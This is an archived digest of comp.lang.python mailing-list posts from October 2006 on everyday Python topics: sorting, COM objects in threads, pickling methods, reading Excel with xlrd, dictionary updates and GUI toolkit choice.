wxPython, pyGTK, PyQT, > Tkinter, .etc, it's difficult for a novice to decide, however. > Can you draw a comparison among them on easy coding, pythonish design, > beautiful and generous looking, powerful development toolkit, and > sufficient documentation, .etc. > It's helpful for a GUI beginner. > Thank you. > > > :)Sorry for my poor english. > I googled "python gui compare" a while back and got www.awaretek.com/toolkits.html as the first result. Every variation on the values I entered seemed to point me to wxPython, which I'm still using now. However, they seem to think that EasyGUI is the easiest to learn, but that it suffers on "Maturity, documentation, breadth of widget selection". All the best, Cameron. From carsten at uniqsys.com Tue Oct 24 11:50:17 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Tue, 24 Oct 2006 11:50:17 -0400 Subject: Sorting by item_in_another_list In-Reply-To: <1161704497.2516.12.camel@dot.uniqsys.com> References: <7.0.1.0.0.20061024123048.05772100@yahoo.com.ar> <1161704497.2516.12.camel@dot.uniqsys.com> Message-ID: <1161705017.2516.20.camel@dot.uniqsys.com> On Tue, 2006-10-24 at 11:41, Carsten Haese wrote: > On Tue, 2006-10-24 at 11:31, Gabriel Genellina wrote: > > At Tuesday 24/10/2006 04:35, Cameron Walsh wrote: > > > > > > c = set(B) > > > > a.sort(key=c.__contains__, reverse=True) > > > > > > > > Tim Delaney > > > > > >Depressingly simple. I like it. > > > > ...and fast! > > ...and not guaranteed to be correct: > > http://www.python.org/doc/2.3.5/lib/typesseq-mutable.html states: > > """ > Whether the sort() method is stable is not defined by the language (a > sort is stable if it guarantees not to change the relative order of > elements that compare equal). In the C implementation of Python, sorts > were stable only by accident through Python 2.2. The C implementation of > Python 2.3 introduced a stable sort() method, but code that intends to > be portable across implementations and versions must not rely on > stability. > """ > > -Carsten And I noticed a bit to late that the search on python.org lead me to an outdated version of the docs. The current documentation states that "Starting with Python 2.3, the sort() method is guaranteed to be stable." However, it's not clear whether this specifies language behavior that all implementations must adhere to, or whether it simply documents an implementation detail of CPython. -Carsten From sjmachin at lexicon.net Wed Oct 4 11:46:33 2006 From: sjmachin at lexicon.net (John Machin) Date: 4 Oct 2006 08:46:33 -0700 Subject: PEP 358 and operations on bytes In-Reply-To: <7xejtojdys.fsf@ruckus.brouhaha.com> References: <1159931141.342507.108260@e3g2000cwe.googlegroups.com> <1159974809.492898.253490@i42g2000cwa.googlegroups.com> <7xejtojdys.fsf@ruckus.brouhaha.com> Message-ID: <1159976793.484514.277050@h48g2000cwc.googlegroups.com> Paul Rubin wrote: > "John Machin" writes: > > So why haven't you been campaigning for regular expression support for > > sequences of int, and for various array.array subtypes? > > regexps work on byte arrays. But not on other integer subtypes. If regexps should not be restricted to text, they should work on domains whose number of symbols is greater than 256, shouldn't they? From Hakusa at gmail.com Tue Oct 24 00:02:17 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 23 Oct 2006 21:02:17 -0700 Subject: Arrays? (Or lists if you prefer) In-Reply-To: References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> <1161585837.292211.233680@i42g2000cwa.googlegroups.com> Message-ID: <1161662537.233118.308060@m73g2000cwd.googlegroups.com> Fredrik Lundh wrote: > Hakusa at gmail.com wrote: > > > Interesting. Could I do . . . let's say > > > > b = [range(range(3)] > > > > for a three-dimensional array? > > >>> [range(range(3))] > Traceback (most recent call last): > File "", line 1, in > TypeError: range() integer end argument expected, got list. > > if your mail program is easier to reach than your Python interpreter > window, something's wrong with your setup. > > lol. Sad lol. My mail button is actually easier to reach than my Python Interpreter, especially when I wrote that quickly befoer going to bed . . . although other than that, I just find it hard to program recently because school has been taxing most of my intellectual anything, but yestarday I thought I'd get back into the string. So nothing is wrong with my set up, just my over-stressed brain. From bearophileHUGS at lycos.com Thu Oct 12 08:53:36 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 12 Oct 2006 05:53:36 -0700 Subject: Standard Forth versus Python: a case study In-Reply-To: <87fyduory4.fsf@emit.demon.co.uk> References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <87fyduory4.fsf@emit.demon.co.uk> Message-ID: <1160657616.407680.49850@c28g2000cwb.googlegroups.com> Ian McConnell wrote: > > If you can use Psyco and your FITS lines are really long (well, maybe > > too much, the treshold if about >~3000 in my PC) you can use something > > like this instead the builtin timsort: > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466330 > > (To compute the median on a image line the median that uses sort is > > probably better in most cases, expecially if you use the built in sort > > of numerical libraries.) > > sort() sorts all of the data, but you're only after one or two numbers, so > the MODFIND method may be faster for the median: The modified quicksort I have shown in the cookbook (466330) is O(n) too, and it modifies the list in place, so you can apply it twice for lists of even len. Bye, bearophile From istvan.albert at gmail.com Mon Oct 9 13:16:02 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 9 Oct 2006 10:16:02 -0700 Subject: ANN: SimpleJSONRPCServer References: Message-ID: <1160414162.578537.213920@c28g2000cwb.googlegroups.com> Sybren Stuvel wrote: > aum enlightened us with: > > I've built a module called SimpleJSONRPCServer, which is essentially > > the same as the familiar python library module SimpleXMLRPCServer, > > except that it uses the JSON-RPC protocol. > > Thanks a lot! I've used XML-RPC on a low-speed device, and it was way > too slow. This is based on XML-RPC. Probably not that different from sending the JSON as a single text data parameter in XML-RPC. i. From mail at microcorp.co.za Sat Oct 7 03:34:43 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sat, 7 Oct 2006 09:34:43 +0200 Subject: Dumping the state of a deadlocked process References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com> Message-ID: <000e01c6e9eb$0dd3ab80$03000080@hendrik> wrote: > Hi all > > I'm currently having some issues with a process getting deadlocked. The > problem is that the only way I can seem to find information about where > it deadlocks is by making a wild guess, insert a pdb.set_trace() before > this point, and then step until it locks up, hoping that I've guessed > right. > > The frustrating part is that most of the time my guesses are wrong. Welcome to the wonderful world of crash and burn.... > > It would be really nice if I could send the python process some signal > which would cause it to print the current stacktrace and exit > immediately. That way I would quickly be able to pinpoint where in the > code the deadlock happens. Java has a somewhat similar feature where > you can send a running VM process a SIGQUIT, to which it will respond > by dumping all current threads and lots of other information on stdout. > > Is this possible somehow? Have you tried to sprinkle your code with print statements of the "We get here No: 7" kind - you can get quite a good idea of what is going on if you do, and if there are threads running - the results are often surprisingly insightful... - Hendrik From tejovathi.p at gmail.com Fri Oct 13 03:44:27 2006 From: tejovathi.p at gmail.com (Teja) Date: 13 Oct 2006 00:44:27 -0700 Subject: COM and Threads In-Reply-To: <1160724047_3201@sp6iad.superfeed.net> References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> <1160712022_1597@sp6iad.superfeed.net> <1160713687.665650.221900@b28g2000cwb.googlegroups.com> <1160718073_1665@sp6iad.superfeed.net> <1160718935.372511.303470@m73g2000cwd.googlegroups.com> <1160724047_3201@sp6iad.superfeed.net> Message-ID: <1160725467.164675.318010@i42g2000cwa.googlegroups.com> Roger Upole wrote: > "Teja" wrote: > > > > Roger Upole wrote: > > > >> "Teja" wrote: > >> > > >> > Roger Upole wrote: > >> > > >> >> "Teja" wrote: > >> >> >I have an application which uses COM 's Dispatch to create a COM based > >> >> > object. Now I need to upgrade the application to a threaded one. But > >> >> > its giving an error that COM and threads wont go together. Specifically > >> >> > its an attribute error at the point where COM object is invoked. Any > >> >> > pointers please?????? > >> >> > > >> >> > >> >> An actual traceback would help. > >> >> At a guess, when using COM in a thread > >> >> you need to call pythoncom.CoInitialize and > >> >> CoUninitialize yourself. > >> >> > >> >> Roger > >> > > >> > Actually Roger, this is the scenario.... > >> > > >> > I create a COM object at the beginnning of the main thread. In the sub > >> > thread, I need to access the same instance of the COM object. If it > >> > were a normal object ie. not a COM obj, i was able to do it. But if it > >> > were a COM object, its giving an attribute error? Should I pass a COM > >> > object to the thread. If so How? Please let me know ASAP... Thnks > >> > > >> > >> To pass COM objects between threads, usually they'll need to be marshaled > >> using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled > >> with pythoncom.CoGetInterfaceAndReleaseStream. > >> > >> Roger > > > > I really appreciate your quick reply....Can u please let me know how to > > do marshalling and unmarshalling or any good refrences to do it. > > Because i tried to do it. I got some errors ans so I left it... > > > > Thnks again... > > > > Here's a simple example using Internet Explorer. > > import win32com.client, pythoncom, thread > ie=win32com.client.Dispatch('internetexplorer.application') > ie.Visible=1 > > def nav(istream, dest): > pythoncom.CoInitialize() > d=pythoncom.CoGetInterfaceAndReleaseStream(istream, pythoncom.IID_IDispatch) > my_ie=win32com.client.Dispatch(d) > my_ie.Navigate(dest) > pythoncom.CoUninitialize() > > s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie) > thread.start_new_thread(nav, (s, 'www.google.com')) > > Roger Thnks a lot Roger, Its working gr8..Now, once the thread is started with start_new_thread, is there any way to terminate it upon user's request. I have explored and found out that there is no thread.kill(). So wht to do now? Teja From georgeryoung at gmail.com Sat Oct 28 14:10:00 2006 From: georgeryoung at gmail.com (georgeryoung at gmail.com) Date: 28 Oct 2006 11:10:00 -0700 Subject: what is "@param" in docstrings? Message-ID: <1162059000.915118.313070@f16g2000cwb.googlegroups.com> I'm starting to read about twisted and I keep seeing things like: [from twisted/internet/app.py] def __init__(self, name, uid=None, gid=None, authorizer=None, authorizer_=None): """Initialize me. If uid and gid arguments are not provided, this application will default to having the uid and gid of the user and group who created it. @param name: a name @param uid: (optional) a POSIX user-id. Only used on POSIX systems. @param gid: (optional) a POSIX group-id. Only used on POSIX systems. """ _AbstractServiceCollection.__init__(self) self.name = name ... What does the "@param" mean? It looks like something meant to be machine readable. Alas, googling on "@param" doesn't work... It looks at first like a decorator, but that doesn't make much sense. -- George Young From http Thu Oct 12 14:59:19 2006 From: http (Paul Rubin) Date: 12 Oct 2006 11:59:19 -0700 Subject: paseline(my favorite simple script): does something similar exist? References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> Message-ID: <7xodshs6m0.fsf@ruckus.brouhaha.com> "RickMuller" writes: > def parseline(line,format): > xlat = {'x':None,'s':str,'f':float,'d':int,'i':int} > result = [] > words = line.split() > for i in range(len(format)): > f = format[i] > trans = xlat.get(f,'None') > if trans: result.append(trans(words[i])) > if len(result) == 0: return None > if len(result) == 1: return result[0] > return result Untested, but maybe more in current Pythonic style: def parseline(line,format): xlat = {'x':None,'s':str,'f':float,'d':int,'i':int} result = [] words = line.split() for f,w in zip(format, words): trans = xlat[f] if trans is not None: result.append(trans(w)) return result Differences: - doesn't ignore improper format characters, raises exception instead - always returns values in a list, including as an empty list if there's no values - uses iterator protocol and zip to avoid ugly index variable and subscripts From larry.bates at websafe.com Wed Oct 18 17:53:38 2006 From: larry.bates at websafe.com (Larry Bates) Date: Wed, 18 Oct 2006 16:53:38 -0500 Subject: Getting method name from within the class method In-Reply-To: References: Message-ID: <4536A262.1010103@websafe.com> Mitko Haralanov wrote: > I need to be able to get the name of the currently executed method > within that method. I know that the method object does have the > __name__ attribute but I know know how to access it from withing the > method. > > Something like this: > > class A: > .... > def a_method (self, this, that): > print <__name__> > > a = A () > a.a_method() > 'a_method' > > > Thanx for your help! Since you KNOW you are in the method, you can hardcode it: def a_method(self, this, than): print "a_method" There's nothing to be gained from accessing a variable unless you are going to be calling some other method to do the printing. -Larry From ptmcg at austin.rr._bogus_.com Wed Oct 4 13:54:07 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 04 Oct 2006 17:54:07 GMT Subject: item access time: sets v. lists References: <4cSUg.7864$753.4683@trnddc05> Message-ID: <3zSUg.25440$DU3.23095@tornado.texas.rr.com> "Neil Cerutti" wrote in message news:slrnei7sc2.fs.horpner at FIAD06.norwich.edu... > Look at the code again. It's not testing what it says it's > testing. > It isnt? The only quibble I can see is that there really is no "first" element in a set. I picked the "0 in set" and "0 in list" to pick the fastest case for list, which does a linear search through the list elements. Where did I go wrong on the test descriptions? -- Paul From pandyacus.xspam at xspam.sbcglobal.net Wed Oct 25 21:20:05 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Thu, 26 Oct 2006 01:20:05 GMT Subject: Fatal Python error: deallocating None References: Message-ID: <87lkn3c1pz.fsf@localhost.localdomain> "Delaney, Timothy (Tim)" writes: > George Sakkis wrote: > > > What makes the problem worse is that it's not deterministic; I can > > restart it from (a little before) the point of crash and it doesn't > > happen again at the same point, but it might happen further down. Now, > > I wouldn't mind restarting it manually every time since the crashes > > are not all that frequent; problem is, it's supposed to be a > > long-running process that will probably take days to finish normally, > > so I want it to run overnight too. Any hints ? > > None should *never* be deallocated, so it sounds like it's not being > INCREFed correctly somewhere. Extension module, etc ... > > Tim Delaney Or incorrectly DECREFed, perhaps? -Chetan From sjmachin at lexicon.net Thu Oct 5 11:21:58 2006 From: sjmachin at lexicon.net (John Machin) Date: 5 Oct 2006 08:21:58 -0700 Subject: How do I read Excel file in Python? In-Reply-To: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> Message-ID: <1160061718.605057.243590@h48g2000cwc.googlegroups.com> kath wrote: > How do I read an Excel file in Python? > > I have found a package to read excel file, which can be used on any > platform. Hi Sudhir, So far, so good :-) > > http://www.lexicon.net/sjmachin/xlrd.htm > I installed and working on the examples, I found its printing of cell's > contents in a different manner. > > >>> import xlrd > >>> book=xlrd.open_workbook("Calculation_file.xls") > >>> book=xlrd.open_workbook("testbook.xls") > >>> sh=book.sheet_by_index(0) > >>> for row in range(sh.nrows): > print sh.row(rx) > [text:u'name', text:u'address', text:u'ph'] > [text:u'sudhir', text:u'bangalore', number:1234.0] > [text:u'vinay', text:u'bangalore', number:3264.0] It helps when asking questions if you copy/paste exactly what is on your screen; in this case print sh.row(rx) would have given an error; you must have typed for rx in range..... A row is returned as a sequence of Cell objects. What you are seeing is Python automatically doing repr(cell) on each cell in the row. The Cell.__repr__ method formats it that way for debugging. Here are some examples from a little test file of mine: >>> import xlrd >>> bk = xlrd.open_workbook('sjm1.xls') >>> sh = bk.sheet_by_index(0) >>> row0 = sh.row(0) >>> row0 [text:u'fubar', number:1.0, number:2.0] >>> firstcell = row0[0] >>> type(firstcell) >>> firstcell.ctype 1 >>> # cell type 1 is text >>> firstcell.value u'fubar' >>> repr(firstcell) "text:u'fubar'" > > I am bit confused with slicing. help me.... > None of the above is anything to do with slicing; is this a 2nd problem? Perhaps you are having trouble with this: >>> help(sh.row_slice) Help on method row_slice in module xlrd.sheet: row_slice(self, rowx, start_colx=0, end_colx=None) method of xlrd.sheet.Sheet instance ## # Returns a slice of the Cell objects in the given row. >>> sh.row_slice(rowx, lo, hi) gives the same result as sh.row(rowx)[lo:hi] -- it is provided because the latter would be inefficient for getting a small slice from a long row. If you are having trouble with the general concept of slicing, perhaps you might like to try the Python tutorial. Otherwise, please try to be a bit more specific about what the confusion is. HTH, and e-mail me if you prefer ... Cheers, John From pavlovevidence at gmail.com Tue Oct 24 23:23:26 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 24 Oct 2006 20:23:26 -0700 Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Message-ID: <1161746606.665795.102440@m7g2000cwm.googlegroups.com> pretoriano_2001 at hotmail.com wrote: > Hello: > I have next dictionaries: > a={'a':0, 'b':1, 'c':2, 'd':3} > b={'a':0, 'c':1, 'd':2, 'e':3} > I want to put in a new dictionary named c all the keys that are in b > and re-sequence the values. The result I want is: > c={'a':0, 'c':1, 'd':2} > How can I do this with one line of instruction? > > I attempted the next but the output is not the expected: > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)]) > erroneously (for me) gets: > {'a': 0, 'c': 2, 'd': 3} Filter first, Sort second, Enumerate third, Build Dict last: c = dict((k,v) for (v,k) in enumerate(sorted(j for j in a if j in b))) The inner generator you could do with sets also. c = dict((k,v) for (v,k) in enumerate(sorted(set(a)&set(b)))) Carl Banks From steve at holdenweb.com Mon Oct 9 03:33:51 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 09 Oct 2006 08:33:51 +0100 Subject: CGI Tutorial In-Reply-To: References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> <1160071257.200774.90900@e3g2000cwe.googlegroups.com> Message-ID: <4529FB5F.3020901@holdenweb.com> Lawrence D'Oliveiro wrote: > In message , Steve > Holden wrote: > > >>Credit card numbers should be encrypted in the database, of course, but >>they rarely are (even by companies whose reputations imply they ought to >>know better). > > > How would encryption help? They'd still have to be decrypted to be used. Indeed they would, but with proper key management the probability that they can be stolen from a database in their plaintext form is rather lower. Just last week a police employee in my class told us of an exploit where a major credit card copmany's web site had been hacked using a SQL injection vulnerability. This is usually done with the intent of gaining access to credit card data. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From asma61 at dsl.pipex.com Mon Oct 23 19:27:01 2006 From: asma61 at dsl.pipex.com (DaveM) Date: Tue, 24 Oct 2006 00:27:01 +0100 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: On Thu, 19 Oct 2006 20:07:27 -0400, Brad wrote: >It has been my experience that Python has discouraging forums with >someone always calling someone else an idiot or telling them they are >awful in some way. I love Python, but the community is way too negative, >uptight and generally down on users who do not have PhD's in CS or Math. >Do you have children? How would your child feel if he brought you >something he had made and you then told him it was awful in *sooo* many >ways. How does that reflect on you and the community you represent? Wow. Maybe I have thicker skin than you, or perhaps you're a professional whose self-worth has been damaged, but I would have been grateful for that critique, not angry. To each his own, I suppose. DaveM From bignose+hates-spam at benfinney.id.au Tue Oct 24 03:57:49 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 24 Oct 2006 17:57:49 +1000 Subject: Python 2.5 ; Effbot console ; thank ; pb release. References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> <021801c6f734$cb375900$03000080@hendrik> Message-ID: <87lkn6qh6q.fsf@benfinney.id.au> "Hendrik van Rooyen" writes: [quoting problems fixed] > "Fredrik Lundh" wrote: > > some days, I ask myself why I shouldn't just use GPL for > > everything I do, and ship it as source code only. > > because then you would deny your work to thousands of ungrateful, > unmotivated lazy buggers like me... Not necessarily. All it needs is one person (with the same platform you want to use) to take the source, build it for that platform, and make it available. All the other "ungrateful, unmotivated lazy buggers" can then take advantage of that -- and reward the person with whatever praise they require :-) -- \ "Behind every successful man is a woman, behind her is his | `\ wife." -- Groucho Marx | _o__) | Ben Finney From tjreedy at udel.edu Mon Oct 9 18:13:52 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 9 Oct 2006 18:13:52 -0400 Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> <452a6a61$0$22844$426a74cc@news.free.fr> Message-ID: "Bruno Desthuilliers" wrote in message news:452a6a61$0$22844$426a74cc at news.free.fr... > > The current namespace object, of course. Implementing a namespace as a Python object (ie, dict) is completely optional and implementation dependent. For CPython, the local namespace of a function is generally *not* done that way. tjr From __peter__ at web.de Wed Oct 25 05:13:05 2006 From: __peter__ at web.de (Peter Otten) Date: Wed, 25 Oct 2006 11:13:05 +0200 Subject: dict problem References: Message-ID: Alistair King wrote: > Hi, > > ive been trying to update a dictionary containing a molecular formula, but > seem to be getting this error: > > > Traceback (most recent call last): > File "DS1excessH2O.py", line 242, in ? > updateDS1v(FCas, C, XDS) > NameError: name 'C' is not defined > > dictionary is: > > DS1v = {'C': 6, 'H': 10, 'O': 5} > > > > #'Fxas' in each case will be integers but 'atoms' should be a float > > def updateDS1v(Fxas, x, XDS): > while Fxas != 0: > atoms = DS1v.get('x') + Fxas*XDS > DS1v[x] = atoms > > updateDS1v(FCas, C, XDS) > updateDS1v(FHas, H, XDS) > updateDS1v(FOas, O, XDS) > updateDS1v(FNas, N, XDS) > updateDS1v(FSas, S, XDS) > updateDS1v(FClas, Cl, XDS) > updateDS1v(FBras, Br, XDS) > updateDS1v(FZnas, Zn, XDS) > print DS1v > > I know there is probably a simple solution but im quite new to python and > am lost? Ali, the NameError stems from the variable C not being defined. This can be fixed either by defining it: C = "C" updateDS1v(FCas, C, XDS) or by calling updateDS1v() with a string constant. updateDS1v(FCas, "C", XDS) However, there are so many errors in the updateDS1v() function that I recommend reading an introductory text on Python before you proceed. Python is so much /more/ fun if you have at least some clue :-) Peter From steve at holdenweb.com Sun Oct 1 01:06:45 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 01 Oct 2006 06:06:45 +0100 Subject: changing numbers to spellings In-Reply-To: <1159673078.254161.97850@k70g2000cwa.googlegroups.com> References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com> Message-ID: flyingisfun1217 at gmail.com wrote: > Hey, > > Sorry to bother everybody again, but this group seems to have quite a > few knowledgeable people perusing it. > > Here's my most recent problem: For a small project I am doing, I need > to change numbers into letters, for example, a person typing in the > number '3', and getting the output 'Three'. So far, I have an interface > that only collects numbers (or letters), and displays them in a text > variable label (as you can see below). Heres the code I have: > > +--------------------------------+-----------------------------------+ > > var=StringVar() > > def collect(): > var.set(entrybox.get()) > > spelledentry=Label(root, textvariable=var) > spelledentry.grid(row=5, column=1) > > filler1=Label(root, text=" ") > filler1.grid(row=0, column=0) > > titletext=Label(root, text="NumberSpeller2") > titletext.grid(row=0, column=1) > > filler2=Label(root, text=" ") > filler2.grid(row=0, column=2) > > filler3=Label(root, text="\n") > filler3.grid(row=1, column=0) > > entrybox=Entry(root) > entrybox.grid(row=1, column=1, sticky=N) > > enterbutton=Button(root, text="Spell!", command=collect) > enterbutton.grid(row=3, column=1, sticky=N) > > filler4=Label(root, text="") > filler4.grid(row=4, column=1) > > filler5=Label(root, text="") > filler5.grid(row=6, column=1) > > website=Label(root, text="Visit the NS2 Website") > website.grid(row=7, column=1, sticky=S) > > +-------------------------------------+----------------------------------------+ > > Like I explained a little before, I need to keep users from entering > any letters, and I need to have the numbers they typed in translated to > text. > > Can someone explain how I could go across doing this? > You should get some clue about the number conversion (not to menion a bunch of code you can lift :) from http://www.python.org/pycon/dc2004/papers/42/ex1-C/num2eng.py regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From jonas.esp at googlemail.com Sat Oct 28 07:36:11 2006 From: jonas.esp at googlemail.com (MindClass) Date: 28 Oct 2006 04:36:11 -0700 Subject: Import if condition is correct In-Reply-To: References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> <1162032099.393489.321290@e3g2000cwe.googlegroups.com> Message-ID: <1162035371.172600.293680@h48g2000cwc.googlegroups.com> Steve Holden wrote: > I'm guessing that you think this might be necessary to avoid importing > the same module multiple times: it's not. Python only runs the module's > code the first time the module is imported into a program. A further > import statement effectively does noting, because the interpreter sees > (from an entry in the sys.modules dictionary) that the module is already > present. > The problem is that I've to import different libraries according to the ORM (SQLObject, SQLAlchemy, etc) From mail at microcorp.co.za Sun Oct 1 03:39:29 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sun, 1 Oct 2006 09:39:29 +0200 Subject: Escapeism References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com> <1159635727.840033.169540@m73g2000cwd.googlegroups.com> Message-ID: <015b01c6e53c$91844100$03000080@hendrik> "Kay Schluehr" wrote: > Sybren Stuvel wrote: > > Kay Schluehr enlightened us with: > > > Usually I struggle a short while with \ and either succeed or give up. > > > Today I'm in a different mood and don't give up. So here is my > > > question: > > > > > > You have an unknown character string c such as '\n' , '\a' , '\7' etc. > > > > > > How do you echo them using print? > > > > > > print_str( c ) prints representation '\a' to stdout for c = '\a' > > > print_str( c ) prints representation '\n' for c = '\n' > > > ... > > > > > > It is required that not a beep or a linebreak shall be printed. > > > > try "print repr(c)". > > This yields the hexadecimal representation of the ASCII character and > does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the > escape semantics. One way to achieve this naturally is by prefixing > '\a' with r where r'\a' indicates a "raw" string. But unfortunately > "rawrification" applies only to string literals and not to string > objects ( such as c ). I consider creating a table consisting of pairs > {'\0': r'\0','\1': r'\1',...} i.e. a handcrafted mapping but maybe > I've overlooked some simple function or trick that does the same for > me. > > Kay dumb question - is the backslash as escape character fixed or can one set its (the escape char's) value so that backslash is not the escape char? seems to me that would help - or if you could turn the behaviour off - don't know how though... - Hendrik From eurleif at ecritters.biz Tue Oct 24 10:49:55 2006 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Tue, 24 Oct 2006 10:49:55 -0400 Subject: The format of filename In-Reply-To: References: Message-ID: <453e2751$0$13828$4d3efbfe@news.sover.net> Neil Cerutti wrote: > Where can I find documentation of what Python accepts as the > filename argument to the builtin function file? Python will accept whatever the OS accepts. > As an example, I'm aware (through osmosis?) that I can use '/' as > a directory separator in filenames on both Unix and Dos. But > where is this documented? It's documented in the OS's documentation. It can be queried with os.sep and os.altsep. From chrisspen at gmail.com Fri Oct 20 17:33:24 2006 From: chrisspen at gmail.com (Chris) Date: 20 Oct 2006 14:33:24 -0700 Subject: Why can't you pickle instancemethods? Message-ID: <1161380004.714778.152080@m7g2000cwm.googlegroups.com> Why can pickle serialize references to functions, but not methods? Pickling a function serializes the function name, but pickling a staticmethod, classmethod, or instancemethod generates an error. In these cases, pickle knows the instance or class, and the method, so what's the problem? Pickle doesn't serialize code objects, so why can't it serialize the name as it does for functions? Is this one of those features that's feasible, but not useful, so no one's ever gotten around to implementing it? Regards, Chris >>> import pickle >>> >>> def somefunc(): ... return 1 ... >>> class Functions(object): ... @staticmethod ... def somefunc(): ... return 1 ... >>> class Foo(object): ... pass ... >>> f = Foo() >>> f.value = somefunc >>> print pickle.dumps(f) ccopy_reg _reconstructor p0 (c__main__ Foo p1 c__builtin__ object p2 Ntp3 Rp4 (dp5 S'value' p6 c__main__ somefunc p7 sb. >>> >>> f.value = Functions.somefunc >>> print pickle.dumps(f) Traceback (most recent call last): File "", line 1, in ? File "C:\Program Files\Python24\lib\pickle.py", line 1386, in dumps Pickler(file, protocol, bin).dump(obj) File "C:\Program Files\Python24\lib\pickle.py", line 231, in dump self.save(obj) File "C:\Program Files\Python24\lib\pickle.py", line 338, in save self.save_reduce(obj=obj, *rv) File "C:\Program Files\Python24\lib\pickle.py", line 433, in save_reduce save(state) File "C:\Program Files\Python24\lib\pickle.py", line 293, in save f(self, obj) # Call unbound method with explicit self File "C:\Program Files\Python24\lib\pickle.py", line 663, in save_dict self._batch_setitems(obj.iteritems()) File "C:\Program Files\Python24\lib\pickle.py", line 677, in _batch_setitems save(v) File "C:\Program Files\Python24\lib\pickle.py", line 293, in save f(self, obj) # Call unbound method with explicit self File "C:\Program Files\Python24\lib\pickle.py", line 765, in save_global raise PicklingError( pickle.PicklingError: Can't pickle : it's not the same object as __ main__.somefunc From sigzero at gmail.com Sun Oct 15 14:53:49 2006 From: sigzero at gmail.com (Robert Hicks) Date: 15 Oct 2006 11:53:49 -0700 Subject: OT: What's up with the starship? In-Reply-To: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> Message-ID: <1160938429.707909.28360@f16g2000cwb.googlegroups.com> rurpy at yahoo.com wrote: > T. Bryan wrote: > > Thomas Heller wrote: > > > > > I cannot connect to starship.python.net: neither http, nor can I login > > > interactively with ssl (and the host key seems to have changed as well). > > > > > > Does anyone know more? > > > > starship.python.net was compromised. It looked like a rootkit may have been > > installed. The volunteer admins are in the process of reinstalling the OS > > and rebuilding the system. That process will probably take a few days at > > least. > > Does anyone know more? > > What about the integrity of the python packages hosted there? > When was the site compromised? > I just installed the python 2.5 pywin module last week. > Should I be concerned? > > Is this related to the Python security problem recently announced? Did you even read about the vulnerability? Robert From martin at v.loewis.de Wed Oct 25 17:34:50 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 25 Oct 2006 23:34:50 +0200 Subject: How to identify generator/iterator objects? In-Reply-To: References: Message-ID: <453FD87A.4010904@v.loewis.de> Kenneth McDonald schrieb: > To do this, I need to determine (as fair as I can see), what are > Is there a way to do this? Or perhaps another (better) way to achieve > this flattening effect? itertools doesn't seem to have anything that > will do it. As others have pointed out, there is a proper test for generator objects; you are apparently interested in finding out whether a function will produce a generator when called. To do that, use the following code def is_generator_function(f): return (f.func_code.co_flags & 0x20) != 0 Here, 0x20 is the numeric value of CO_GENERATOR (also available through compiler.consts.CO_GENERATOR). Regards, Martin From apardon at forel.vub.ac.be Fri Oct 27 05:39:56 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 27 Oct 2006 09:39:56 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-26, Donn Cave wrote: > In article , > Steve Holden wrote: > ... >> Maybe so, but that "rule" (and let's not forget that the zen is not >> actually a set of prescriptive rules but rather guidelines for the >> informed) is immediately preceded by the most important "rule" of all: >> "Beautiful is better than ugly". Nobody will shout at you (well, >> hopefully, not on this list they won't) for writing >> >> if my_list != []: >> ... >> >> in your code, but if they have to incorporate it into their own they >> will almost certainly reduce it to >> >> if my_list: >> .... >> >> It's just idiomatic in Python, the same way 